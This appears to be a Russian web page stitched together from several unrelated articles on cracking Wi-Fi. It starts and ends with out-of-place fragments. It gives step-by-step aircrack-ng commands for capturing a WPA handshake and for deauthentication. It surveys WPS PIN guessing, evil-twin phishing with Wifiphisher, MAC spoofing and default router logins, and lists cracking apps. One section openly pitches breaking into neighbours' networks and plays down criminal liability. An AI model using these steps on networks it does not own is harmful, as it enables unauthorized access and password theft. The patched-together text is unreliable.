Не могу не сказать, что вендоры уже давно знают об этой слабости и в последних обновлениях прошивок проблема, скорее всего, уже исправлена. Хоть иногда я и встречал «современные» точки доступа, где для генерации ПИН-кода был использован MAC, увеличенный (или уменьшенный) на единицу, доля уязвимых устройств с каждым днем все меньше.

#статьи

  • 21 окт 2021

  • 0

Показываем, как взломать ваш роутер за 2–3 часа. Будьте бдительны!

Редакция «Код» Skillbox Media

Онлайн-журнал для тех, кто влюблён в код и информационные технологии. Пишем для айтишников и об айтишниках.

В многоквартирных домах теснятся не только люди, но и множество маршрутизаторов. Получить доступ к соседскому Wi-Fi проще простого — достаточно знать пароль устройства. Обычные пользователи даже не догадываются, что у них проблемы с безопасностью и их роутеры прямо сейчас атакуют главную страницу «Яндекса».

Чтобы защититься от злоумышленников, нужно думать как злоумышленник. Поэтому попробуем взломать Wi-Fi. Практиковаться будем на своём роутере — мы же против нарушения законов! Попросите домашних изменить на нём пароль и не говорить вам.

Готово? Теперь у вас есть мотивация, цель и подробная инструкция.

Что нужно уметь?

  1. Установить Linux и работать с ОС на уровне рядового пользователя.
  2. Запускать терминал и выполнять простейшие команды.

Инструменты

  1. Kali Linux. Подойдёт любой дистрибутив Linux, но на Kali предустановлен необходимый софт.
  2. Wi-Fi-адаптер. Встроенный или внешний USB — разницы нет. Но есть нюансы, о которых поговорим далее.
  3. Aircrack-ng. Набор утилит для обнаружения Wi-Fi-сетей, анализа и перехвата трафика. Идёт в поставке Kali Linux.

Прежде чем надевать на голову чулок или балаклаву, нужно понять, как работает роутер. Для этого нужно немного вспомнить курс школьной физики. Беспроводной девайс ловит электромагнитные волны от ноутбука или смартфона, расшифровывает их, а полученные запросы отправляет в интернет через кабель.

Но чтобы обмениваться с роутером информацией, его надо как-то обнаружить — он же не кричит о себе на весь дом. Тут поможет… бекон.

Beacon frame — это пакет, который роутер рассылает, чтобы сообщить о себе. Смартфоны и другие пользовательские устройства периодически сканируют радиоканал и ловят «беконы». Они переключаются в режим монитора и выводят обнаруженные пакеты — это и есть доступные точки подключения.

После того как устройство обнаружило роутер, подключаемся. Давайте заглянем в этот процесс и познакомимся с терминами. Будем считать, что подключаемся через смартфон.

Если наш смартфон знает пароль, то передаёт его автоматически, если нет — роутер спрашивает его у нас. Во время подключения смартфон и роутер обмениваются «рукопожатием» (handshake).

Handshake — процесс знакомства клиента и сервера, во время которого устройства идентифицируют друг друга и обмениваются секретными ключами. Handshake происходит каждый раз, когда мы подключаемся к серверу.

После «рукопожатия» смартфон переключается на рабочий канал и безопасно работает с роутером.

Канал — рабочая частота, на которой устройства обмениваются данными. У роутеров обычно от 1 до 15 каналов.

Теперь устройства доверяют друг другу, а у вас есть доступ в интернет.

Составим план взлома. Мы получим доступ к маршрутизатору в четыре шага:

  1. Найдём устройства с помощью Aircrack-ng.
  2. Выберем роутер и послушаем его трафик в ожидании handshake. Защита промышленных моделей наподобие Cisco, MikroTik может быть гораздо серьёзнее, и выполнить трюк будет сложнее.
  3. Возможно, дополнительно отправим сигнал отключения от точки для клиентских устройств, чтобы ускорить процесс.
  4. Перехватим handshake, расшифруем методом брутфорса и получим пароль.

Брутфорс — метод простого перебора паролей. Он примитивен и работает в лоб, поэтому и называется методом грубой силы. Это как если бы человек загадал трёхзначное число, а вы бы пытались его угадать, называя все числа от 100 до 999.

Плюсы нашей атаки:

  • роутер со стандартными настройками — лёгкая цель;
  • довольно простая реализация.

Минусы:

  • Перебор возможных паролей может занять много времени — его количество зависит от мощности машины и длины словаря. В среднем на пароль из 8 цифр уходит более 8 часов.
  • Если точкой никто не пользуется, то и handshake перехватить не получится: нет подключений, а значит, и нужных нам данных.

Не все адаптеры годятся для нашего плана. Нам нужен такой, у которого есть режим монитора и режим инъекции. Это аппаратные методы для одновременного анализа всех точек вокруг и перехвата чужих пакетов информации. Чтобы узнать, поддерживает ли ваше устройство такие режимы, нужно определить модель чипсета. Её можно найти в интернете по модели адаптера или с помощью команд:

  • lspci | grep «Network» — для встроенных адаптеров;
  • lsusb — для внешних устройств.

По названию ищем в поисковике информацию о чипсете. Нам нужно найти, поддерживает ли он monitor mode и packet injection.

Можно сразу искать чипсет на сайте, но там может не быть нужных данных.

Нам нужно узнать, как в системе именуется наше Wi-Fi-устройство. Запускаем терминал нажатием клавиш Ctrl + Alt + T и выполняем команду iwconfig для просмотра всех беспроводных адаптеров.

В моём случае найдено два устройства: wlx1cbfce4e2375 — внешний USB-адаптер и Wlp10s0 — встроенный.Чтобы проверить, способно ли устройство участвовать в атаке, нужно узнать его название. Встроенное — Realtek Semiconductor Co., Ltd. RTL8821CE — не поддерживает режим монитора и инъекции. А внешнее Ralink Technology, Corp. MT7601U Wireless Adapter — поддерживает. Его и будем использовать.

Нам необходимо переключить адаптер в режим монитора, в котором устройство анализирует весь беспроводной трафик вокруг себя.

Используем следующие команды:

sudo airmon-ng check kill

sudo airmon-ng start wlan0

Что делают:

  1. Выключают процессы, которые мешают работе с адаптером беспроводной сети.
  2. Включают режим монитора.

При запуске режима монитора утилита обнаружила, что моя карта заблокирована, и предложила выполнить команду для разблокировки. Выполняем команду.

Далее она автоматически переименовала длинное и странное имя адаптера в более простое. Теперь моя сеть мониторинга называется wlan0mon.

Нужно осмотреться! Запускаем утилиту Airodump-ng и мониторим сети.

sudo airodump-ng wlan0mon

Сверху у нас подробная таблица с точками доступа, а внизу — клиенты. Наша сеть — TP-Link_77D0, из таблицы узнаём её BSSID и CH-канал.

Переключаем наш адаптер в режим работы с этой точкой. Теперь утилита анализирует трафик точки и её клиентов. Лучше открыть дополнительный терминал для этих целей.

sudo airodump-ng wlan0 —channel 1 -w mycap

С помощью команды переключаем адаптер на канал 1. В случае поимки handshake данные сохраняются в файл с названием mycap. Он находится в папке, в которой запущен терминал.

Можно ничего не делать и ждать, когда рыба сама клюнет. Как только захватим handshake, сообщение «fixed channel wlan0:» сменится на «WPA handshake B0:BE: 76:A9:77:D0».

Чтобы ускорить процесс, можно подкинуть «наживки». Клиенты, подключенные к точке, могут отключиться, если мы отправим им соответствующий сигнал — пакет деаутентификации. Это вынудит клиента вновь обменяться handshake с атакуемым устройством.

Пакеты деаутентификации используются для исправления ошибок, обновления ключей и так далее. Они передаются незашифрованными, поэтому утилита может их подделать. Когда целевое устройство получит пакет деаутентификации, оно вынуждено отключиться от роутера.

С помощью команды отправляем 100 пакетов всем клиентам указанной сети.

sudo aireplay-ng -0 100 -a B0:BE: 76:A9:77:D0 wlan0

«-0» — это пакет деаутентификации, «100» — количество пакетов, «-a» — цель атаки, а «wlan0mon» — наш монитор.

И, вуаля, мы поймали рыбку! Зашифрованный пароль теперь в файле mycap.cap. Об этом говорит надпись «WPA handshake B0:BE: 76:A9:77:D0» в левом верхнем углу.

Пароль уже почти у нас. Осталось расшифровать полученный handshake. Сделать это несложно, но ресурсозатратно. Брутфорс требует больших мощностей и много времени.

Тут есть два пути.

Простой. Воспользоваться сайтами, которые расшифровывают данные. Их можно найти в поисковике по запросу «handshake decrypt online». У некоторых сервисов есть бесплатные тарифы, но обычно они берут небольшую сумму — выходит не дороже чашки кофе.

Сложный. Использовать специальный софт и подключать драйвера, которые будут использовать центральный процессор вместе с графическим для ускорения вычислений. Можно воспользоваться aircrack-ng — у неё есть модуль для расшифровки — или утилитой hashcat. Первая утилита содержит базовый набор функций, вторая — более серьёзный и расширенный.

Мы реализовали простую атаку на домашний роутер. Самое главное: мы научились не только взламывать чужие устройства, но и защищать свои:

  1. Не используйте стандартные слабые пароли. Для пароля из 8 цифр количество возможных комбинаций равно 134217728. Мощный компьютер расшифрует его довольно быстро. Но если добавить хотя бы одну латинскую букву, то количество вариантов возрастёт до 1.0633823966279327e+37, а шансы злоумышленников резко уменьшатся.
  2. Не использовать название модели роутера в имени сети. Зная модель роутера, злоумышленник может воспользоваться известными уязвимостями устройства. Например, для роутера TP-Link TL-WR840N есть эксплойт, позволяющий обойти аутентификацию. Кроме того, если вы не меняли пароль, взломщик может выяснить, какие заводские пароли использует роутер.
  3. Отключать обнаружение сети. Подключиться к такому устройству сложнее — придётся прописывать настройки вручную.
  4. Использовать фильтр подключений в роутере, который разрешает подключаться только известным устройствам. Даже если злоумышленник расшифрует пароль, фильтр не пропустит его в сеть.

Если хотите научиться защищать от хакерских атак не только домашние, но большие корпоративные сети, приходите на курс. «Специалист по кибербезопасности». Здесь студенты узнают о новых способах атак, учатся строить защиту, а лучшим мы помогаем с трудоустройством.

Учись бесплатно:
вебинары по программированию, маркетингу и дизайну.

Участвовать

Внимание! Проект WiFiGid.ru и лично автор статьи Ботан не призывают делать взлом WiFi! Особенно чужих сетей!!! Статья написана в образовательных целях для повышения личной информационной безопасности. Давайте жить дружно!

Ниже рассмотрены как общие методы взлома беспроводных сетей, так и даны инструкции или отсылки к ним. Кроме того, предоставлены рекомендации по улучшению защиты собственной домашней сети от возможных злых соседей и прочих злоумышленников. Надеюсь, статья окажется полезной для всех читателей. Прочим же рекомендую подробнее ознакомиться с предложенным материалом и оставить свои комментарии.

Методы взлома

Беспроводные сети объединяют много технологий. А где много технологий – там и много технологий безопасности. И на дне этой «утки в яйце» всплывают и дыры в системе безопасности. А на каждую возможную дыру есть свой метод атаки. В этом разделе хотелось бы показать все возможные способы, как взломать Wi-Fi и проникнуть в беспроводную сеть. А вот какой из этих вариантов сработает, целиком зависит от конкретной ситуации. К тому же может случиться такое, что сеть полностью защищена и не подлежит взлому в текущий момент времени)

Халява! О сколько желания вызывает халява у всех людей. Все хотят чужой интернет. Но одно дело быстро урвать пароль и похвастаться одноклассникам или же сэкономить в общаге на интернете, другое же дело разбираться в самой технологии, которая позволит получить доступ к почти любой сети. Не бегите за хвастовством, только учеба и понимание процессов сделает вас экспертом в этой сфере. Моя же задача сейчас показать охват возможностей и творческую красоту в этом.

Основные способы взломать чужой Wi-Fi:

  1. Незащищенные сети.
  2. Ручной подбор пароля.
  3. Брутфорс пароля.
  4. Подбор WPS кода.
  5. Фишинг.
  6. Базы паролей.
  7. Обход фильтров.
  8. Перехват «рукопожатия» и его расшифровка.
  9. Взлом роутера и вытаскивание открытого пароля.

Кратко постараемся посмотреть на все эти методы. В детали углубляться сильно не буду, но если вдруг у вас появился вопрос – задайте его в комментариях.

Возможно ли взломать?

Возможно ли взломать? – Да, возможно.
Возможно ли защититься полностью? – Нет, нельзя. Т.к. технология изначально открыта для подключения пользователей.

Незащищенные сети

Обычно в наше время все сети шифруются и защищаются ключом. Примерно как на следующей картинке:

Взлом соседского Wi-Fi за 5 минут: 100% рабочие методы узнать пароль

Но до сих пор встречаются точки доступа, которые никак не защищены. И к ним можно подключиться совершенно свободно – без пароля. Пример такой точки – общественные места, метро.

Рекомендация! Всегда защищайте свою домашнюю сеть паролем.

Ручной подбор

Эти первые два способа написаны просто для того, чтобы показать, что иногда прибегать к сложным техническим действиям и не стоит, т.к. обычно все находится на виду, стоит только немного подумать.

Средний пользователь обычно ставит себе несложный пароль – попробуйте представить, что он мог ввести, и угадать его. Это классно работает, чтобы узнать пароль от Wi-Fi у знакомых и соседа. А вдруг вы уже знаете какой-то пароль своего соседа? Люди очень любят повторяться, и обычно вводят одно и то же. Работает редко, но метко. Особенно на старых сетях WEP, где разрешалось вводить пароли меньше 8 символов – там нередко встречались и «12345», и «QWERTY».

ТОП-25 самых распространенных паролей от Wi-FiТОП-25 самых распространенных паролей от Wi-Fi

Многие провайдеры (Ростелеком, ByFly, Yota и другие) иногда используют на своих моделях пароли «по умолчанию». Поищите их в интернете или у нас на сайте, вдруг повезет)

Брутфорс

Брутфорс (Brute Force) – метод автоматического перебора паролей. Ведь пароль же вы вводите свободно? А что сделать, если заставить программу самостоятельно перебирать все возможные варианты и пытаться подключаться с ними.

Есть плюсы – старые модели без обнаружения атаки и слабым паролем (WEP) ломаются на ура. Есть минусы – новые модели могут обнаруживать вас (приходится маскироваться) и внедряют задержки в переборе, или даже полный бан атакующей машины. Еще один минус – современные маршрутизаторы заставляют пользователей вводить сложные длинные пароли, на перебор которых уйдут годы. Так что придется искать другие методы.

Но все же попробовать перебрать сеть на легкие пароли, или если она WEP, а не WPA/WPA2 безусловно стоит. Вероятность дыры есть всегда.

Основные моменты по бруту:

  • Программы могут использовать весь перебор вариантов – подходит для WEP сети, или же для модели роутера, который заставляет принудительно вводить сложные пароли, где невозможна атака по словарю.
  • Есть вариант атаки по словарю – когда подгружается файл с наиболее частовстречаемыми паролями. Файлов этих очень много – в одной Kali Linux их с пару десятков, а сколько ходит по сети. По мне достаточно проверять на основные пароли мелким списком – все-таки взламывать через брутфорс уже не вариант, а для базовой проверки и экономии времени достаточно самого простого списка.
  • Программа работает в несколько потоков – т.е. может одновременно пытаться перебирать сразу много вариантов. Но тут есть своя особенность: сам роутер может отбрасывать такие попытки, вводить задержки на авторизацию или же вовсе перезагружаться. Т.е. с потоками нужно играться аккуратно. В любой ситуации – проверяйте все на своем железе, так узнаете наверняка.
  • Некоторые пишут про прокси… Но какое тут прокси))) Мы же подключаемся по воздуху) Речь идет о том, что некоторые программы успешно маскируют свои запросы под разные устройства, что дает возможность работать в многопотоке.

Подборку программ дам в конце – обычно одна программа вроде Aircrack (лидер рынка) может сделать все действия сама. Не нужно изобретать велосипеды или ставить 100500 программ. Пока же хочу продолжить обсуждение способом взлома.

Перехват «хэндшейка»

Один из самых рабочих методов – перехват «рукопожатия». Что это такое? Тоже разновидность чистого брута, только с предварительным перехватом шифра и его дальнейшей попыткой расшифровки. Вот краткая схема:

  1. Вы спокойно сидите в сети.
  2. Сеть разрывается.
  3. Ваш компьютер снова переподключается.

Что происходит в момент переподключения: ваш компьютер заново отправляет на роутер пароль, роутер его принимает и в случае успешного ввода устанавливает соединение. На практике это абсолютно незаметно – ни отрыв сети, ни ввод пароля – все делается автоматически вашей же системой.

Вот этот процесс отправки пароля и можно назвать «рукопожатием» или «handshake». Но есть минус у этого метода – данные передаются изначально в зашифрованном виде. Но при большом желании этот шифр все же можно разобрать на части (даже сервисы есть) и открыть запароленные данные. И времени на это уйдет не больше, чем на прямой брутфорс. Вот и вся основа метода. Снимать хэндшейк умеет уже знакомый нам Aircrack, а подбирать пароль – HashCat (переборщик и генератор паролей). Но лучше посмотрите видео выше. Это тот самый способ, когда спокойно ломают соседский вайфай.

WPS код

Некоторые роутеры имеют ту самую бесполезную кнопку – WPS, которая позволяет подключать устройства в упрощенном режиме. По умолчанию во многих роутерах до сих пор WPS активирован. А подключение к такой сети осуществляется всего лишь вводом этого ПИН-кода, которые состоит только из цифр.

В ПИН-коде всего 8 цифр. Выше я уже говорил про допустимость полного перебора WEP, а здесь еще проще – только цифры. К тому же была найдена корреляция, которая позволяет методы делать подбор попарно – сначала 4 цифры, и потом 4 цифры. Это все очень ускоряет перебор, а точку при открытом WPS можно поломать за несколько часов.

Другой вариант атаки – использование кодов по умолчанию. ДА! Некоторые устройство с завода идут с установленным включенным одинаковым ПИН-кодом) А предложенные программы знают уже эти пароли, так что все может быть намного проще.

Рекомендация: отключайте WPS в своем роутере! В основном это бесполезная штука.

Фишинг

Еще один интересный метод заключается в выводе у пользователя сети своей страницы… Да, такое можно провернуть и без подключения к сети. Но подмена может быть и замечена. Самый допустимый вариант:

  1. Создается точка доступа с одинаковым именем взламываемой сети.
  2. Хороший сигнал и название вынудят жертву рано или поздно подключиться к ней.
  3. После входа организуется ввод пароля, который успешно приходит к вам.

Метод рабочий, но тут без удачи не обойтись. Есть и доступные программные методы реализации, например, с помощью Wifiphisher.

Разберем чуть подробнее это приложение, т.к. вектор атаки интересный. Нам понадобится Kali Linux (да, ребятки, весь классный бесплатный софт для хака любого уровня лежит именно там, так что ставьте). В терминале запускаем:

wifiphisher

Сразу после запуска программа начинает искать ближайшие сети (все программы с хаком сети так делают):

Взлом соседского Wi-Fi за 5 минут: 100% рабочие методы узнать пароль

Обратите внимание на количество сетей. Найдите в этом списке нужную и введите ее номер. Далее будут предложены различные сценарии атаки:

Взлом соседского Wi-Fi за 5 минут: 100% рабочие методы узнать пароль

Все варианты примерно похожи, вся разница лишь в том, что появится у пользователя чужой сети – авторизация или обновление софта. Рекомендую обратить внимание на следующие пункты:

  • Firmware Upgrade Page – будет предложено обновить ПО самого роутера. Выглядит интересно и правдоподобно, а всего лишь нужно ввести тот самый ключ:

Взлом соседского Wi-Fi за 5 минут: 100% рабочие методы узнать пароль

А тем временем в консоли вот так прилетает пароль:

Взлом соседского Wi-Fi за 5 минут: 100% рабочие методы узнать пароль

Вот и все. Примерное использование всех программ сводится к этому. Не буду подробно останавливаться на одной, иначе получится целая книга. Я обозначаю векторы атаки, даю подсказки – а вы уже самостоятельно изучайте каждое направление. В конце статьи дам интересный бонус от профессиональных хакеров, для тех, кто захочет углубиться.

Рекомендация: Насторожитесь, если сеть, к которой устройство подключалось ранее автоматически без проблем, запросила пароль – особенно на сторонних страница (обновление ПО, пароль в ВКонтакте и т.д. – такого не бывает). Обращайте внимание на дубликаты сети дома.

Базы паролей

Есть программы и сервисы, которые хранят в себе базы паролей точек доступа общественных мест. Особенно это актуально для всяких кафе в крупных городах. Хотите поломать кафе? Да зачем, обычно уже к ней кто-то подключался, а значит есть вероятность, что пароль уплыл в базы.

Пример такого сервиса-приложения: Wi-Fi Map или Router Scan. И карту покажет, и доступные точки, и сама подключится.

Wi-Fi Map

Рекомендация: сделайте подборку сервис и в случае подозрения на взлом проверяйте себя в этих базах. Еще проще – раз в полгода меняйте пароль от Wi-Fi.

Взлом роутера

Иногда у вас есть возможность подключиться по проводу к Wi-Fi, или же вы знаете внешний IP-адрес из интернета и можете получить доступ к роутеру (иногда можно с большой долей вероятности определить его и сканированием).

Тогда можно попытаться подобрать пароль для входа в его панель управления. Многие так и оставляют его по умолчанию admin/admin (логин/пароль). А уже в настройках пароль от Wi-Fi хранится в открытом виде.

Обход фильтров

Некоторые точки доступа не пускают вас, просто потому что у вас неподходящий… MAC-адрес. Бывает и такое. Это уже не про взлом, но иногда вся задача взлома сводится к смене МАКа – например, когда вы ранее успешно подключались, а сейчас ни в какую не пускает, т.к. администратор или родители забанили ваше устройство именно по МАКу. Решение просто – изменить его.

Бывает используют:

  • Черный список. Тогда нужно всего лишь изменить адрес на тот, который нет в этом списке. Универсальная программа – Macchanger.
  • Белый список. Подключаются только указанные в нем устройства. Тогда сначала нужно посмотреть эти устройства и их адреса (подойдет Airodump-ng), а уже после подстроиться под них тем же макченджером.

Защита сети

Выделю некоторые проблемы, на которые стоит обратить внимание, чтобы никто не смог подключиться к вашей сети:

  1. Ставьте сложный пароль на Wi-Fi.
  2. Ставьте сложный пароль на саму панель роутера.
  3. При паранойе – включайте фильтрацию МАК-адресов, разрешайте только для своих устройств.
  4. Выключайте WPS (иногда называется QSS).

Взлом с телефона

Все методы выше были в основном про использование ПК. Оптимальной средой для взлома по-прежнему остается Kali Linux – там уже все предусмотрено. Крайний вариант – Windows. С телефонами намного сложнее. Пока готовил статью, начитался «соседних изданий» с рекомендациями воткнуть Кали на Эппл, или запуска свободного Aircrack-ng на них прямо в Android или iOS, да бонусом с приправкой странных ключевых слов – короче в жизни так не бывает. Хочешь ломать – ставь Kali, если есть только телефон – классного решения не будет.

В основном все рекомендации из сети на этом поле являются откровенным бредом. Моя рекомендация – введите в Google Play или App store что-то вроде «взлом wi-fi», и вам вывалится целая подборка программ. А там уже смотрите по отзывам и не ставьте всякую фэйковую дрянь. Основные категории софта здесь:

  • Подбор пароля WPS по умолчанию.
  • Базы точек.

Никакого подбора здесь не будет – для него нужны вычислительные мощности, чего у телефонов (да и у некоторых компьютеров) нет. Так что еще раз – хотите ломать с телефона, ставьте кали на ноутбук/компьютер. На некоторые модели смартфонов Kali устанавливается, но если вы не профи, даже не пытайтесь – бессмысленная затея.

Ответственность

Многие пишут про ответственность по ряду статей УК РФ: 272, 273, 274. Еще в вузе изучали этот вопрос и как-то тогда это все выглядело подозрительным. Вот названия статей:

  • 272 Неправомерный доступ к компьютерной информации
  • 273 Создание, использование и распространение вредоносных компьютерных программ
  • 274 Нарушение правил эксплуатации средств хранения, обработки или передачи компьютерной информации и информационно-телекоммуникационных сетей

По факту здесь остается только 272. Но давайте посмотрим на нее подробнее:

Неправомерный доступ к охраняемой законом компьютерной информации, если это деяние повлекло уничтожение, блокирование, модификацию либо копирование компьютерной информации.

Обратите внимание – что само использование интернета, если это не причинило никакого ущерба мягко говоря подогнать сюда сложно. Другое дело, если тарифицируется трафик или время, а вы его используете… Но в наше время на вай-фае кругом безлимит. Как бы там не было, я все равно категорически не одобряю любого злодейства в близком окружении – ведь все мы братья, кто если не мы.

Программы

Мощных программ для взлома на все случаи жизни действительно немного. Рекомендую обратить внимание на следующие:

  1. Windows – WiFi Crack
  2. Kali Linux – Aircrack и компания. Это лучший взломщик Wi-Fi, большая часть мануалов из ютуба как раз о ней, в том числе видео из этой статьи, поддерживает абсолютно все способы взлома, можно смело писать отдельную статью. Идеально работать с ноутбука, но можно и с компьютера с помощью Wi-Fi адаптеров.
  3. Android и iOS – обсудили выше, ищите в маркетах, по мне это «псевдовзломщики» на случай «а вдруг повезет».

Книги и видео по теме

Есть много книг про взлом Wi-Fi. Есть очень специфичные, но неполные. А есть прям очень короткие вырезки со всеми интересными моментами. Вот таким вырезками я и решил с вами поделиться. Книги на английском языке, но про современные методы на русском и не пишут. Так что из личной подборки. На авторство не претендую, кому понравится – платите авторам. Есть все методы выше, даже чуть больше, с примерами и инструкциями:

А это уже целая глава из последнего руководства EC-Council по подготовке этичных хакеров. Тоже урвал из открытых источников, сведения хоть и на английском, но зато актуальны на текущий момент. Пролистайте – там все в картинках и даже есть лабораторные работы. Все то же самое, но красиво.

А вот и видео последнего руководства парой лет ранее, но зато на русском языке:

На этом заканчиваю – смотрите, изучайте. Информации выше достаточно, чтобы легко взломать любой Wi-Fi на любом роутере (и даже на школьном). Здесь вопрос только времени и ваших умений.

Взломав WiFi-роутер злоумышленник может получить доступ к компьютерам, размещенных в локальной сети. Или же установить на маршрутизатор скрипт, который будет выполнять заданный алгоритм (DDoS-атака, перехват пакетов и их отправка на удаленный сервер). Вариантов, как из всего этого мошенник может извлечь прибыль — масса. Именно поэтому следить за безопасностью даже своего домашнего роутера — важно, не говоря уже о локальных сетях коммерческого сектора. И с помощью программ для взлома можно протестировать свой WiFi на устойчивость к атакам извне. Все обозримые здесь приложения — легальные, используются также специалистами по IT-безопасности.

И нужно помнить, что взлом чужого компьютера, роутера — это уголовно наказуемое преступление. Программы для взлома WiFi следует использовать именно для тестирования, а не для осуществления попыток несанкционированного доступа!

Методы взлома пароля WiFi

Самые распространенные методы взлома WiFi, используемые злоумышленниками:

  1. Брутфорс. То есть «классический» подбор пароля методом перебора комбинаций по списку, по диапазону. Весьма эффективен, когда имеются вводные данные: количество символов, используются только буквы или цифры и так далее.
  2. Фишинг. Метод основан на социальной инженерии. Подразумевает ряд манипуляционных способов, которые вынуждают «жертву» (владельца оборудования) самостоятельно передать пароль доступа. Пользователь запускает браузер, видит стандартный веб-интерфейс роутера, вводит логин, код и эта информация сразу же отправляется злоумышленнику. Потому что вместо веб-интерфейса на самом деле отображался мошеннический сайт.
  3. Взлом через WPS. WPS — это числовой ПИН-код для быстрого подключения к роутеру. Подобрать его гораздо проще, чем пароль. А ко многим моделям роутеров комбинации уже давно известны.
  4. Вардрайвинг. Взлом WiFi через перехват пакетов и извлечения из них данных для доступа. Для этого используется переносной ноутбук со специальным ПО и WiFi-адаптером, настроенным на активное сканирование эфира.
  5. Взлом через уязвимости WPA. Преимущественно применяется к старым роутерам и тем, ПО на которых с момента покупки не обновляли. WPA — это метод защиты доступа. Эффективен, но со временем и для него нашли массу уязвимостей. И с помощью специальных программ они позволяют извлечь пароль при отправке специфического пакета-команды.

Программы для взлома WiFi для Windows

Самые эффективные и простые для освоения программы под Windows для взлома WiFi:

  1. Kali Linux. Отдельный Linux-дистрибутив (возможен запуск без установки на жесткий диск, а также в «виртуальной» машине), в котором предустановлены десятки программ для тестирования устойчивости ко взлому WiFi.
  2. CommView for WiFi. Программа для мониторинга WiFi-эфира. Через различные уязвимости извлекает всю потенциально полезную информацию: пакеты, строение локальной сети, ключи дешифровки и так далее.
  3. Dumpper. Утилита для тестирования роутеров на устойчивость через WPS. Также может использоваться для подбора пин-кода (по интегрированному журналу из открытых баз данных).
  4. Wifislax. Как и Kali Linux, является live-дистрибутивом, который можно запустить с USB-флешки. В состав входит METASPLOIT, а также целый набор программ для совершения взлома WiFi через все известные уязвимости.

Приложения для взлома WiFi на Android

Самыми эффективными программами для взлома вай-фай на Андроид являются следующие:

  1. WPS Connect. Совершает попытку подключения к маршрутизатору через WPS (подбор пин-кода).
  2. WiFi Warden. Программа для мониторинга WiFi-эфира. А ещё позволяет подбирать WPS-пин.
  3. Kali Nethunter. Программная прослойка, позволяющая прямо на смартфоне пользоваться утилитами из состава Kali Linux (через эмулятор терминала termux). Один из самых «мощных» инструментов для взлома на мобильных телефонах.
  4. WIBR+. Мини-утилита для активного брутфорса, то есть подбора пароля.

Технические требования для запуска каждой из программ — индивидуальные. Но в большинстве случаев для доступа ко всему функционалу утилит требуется наличие root-прав (и разблокированного загрузчика), что позволяет задействовать дополнительные протоколы работы с WiFi-модулем (для более «углубленного» сканирования эфира).

Как обезопасить свой WiFi от взлома

Самое главное — пользоваться «свежими» прошивками для маршрутизаторов. А вот использовать в качестве точки доступа телефон или компьютер — не лучшее решение. У них защита от потенциального взлома, в отличие от маршрутизаторов — минимальная.

Дополнительные рекомендации:

  1. Отключить WPS. В некоторых роутерах эта функция именуется как QSS. Выполняется через веб-интерфейс.
  2. Установить надежный пароль. Идеальный вариант: от 9 символов и более, состоит из цифр и букв, специальных символов.
  3. Установить метод шифрования WPA2 или WPA3. WEP, в свою очередь, уязвимый.
  4. Включить доступ только для MAC-адресов из «белого» списка. Но придется «прописывать» в настройках каждое устройство, которому будет предоставлена возможность подключаться к WiFi.
  5. Регулярно обновлять прошивку до актуальной версии. Это можно сделать прямо из веб-интерфейса. Обновления производители выпускают, в среднем, через каждые 3 – 6 месяцев.

Итого, заметить, что WiFi взломали обычному пользователю практически невозможно. Поэтому о безопасности следует побеспокоиться заблаговременно. То есть провести тестирование сети с помощью специального ПО, а также настроить роутер так, чтобы минимизировать риск несанкционированного доступа.

Понравилась статья? Поделить с друзьями:
  • Как написать программу для windows на python
  • Как написать программу для win ce
  • Как написать программу для mp3 плеера
  • Как написать программу для iphone на windows
  • Как написать программу для elm327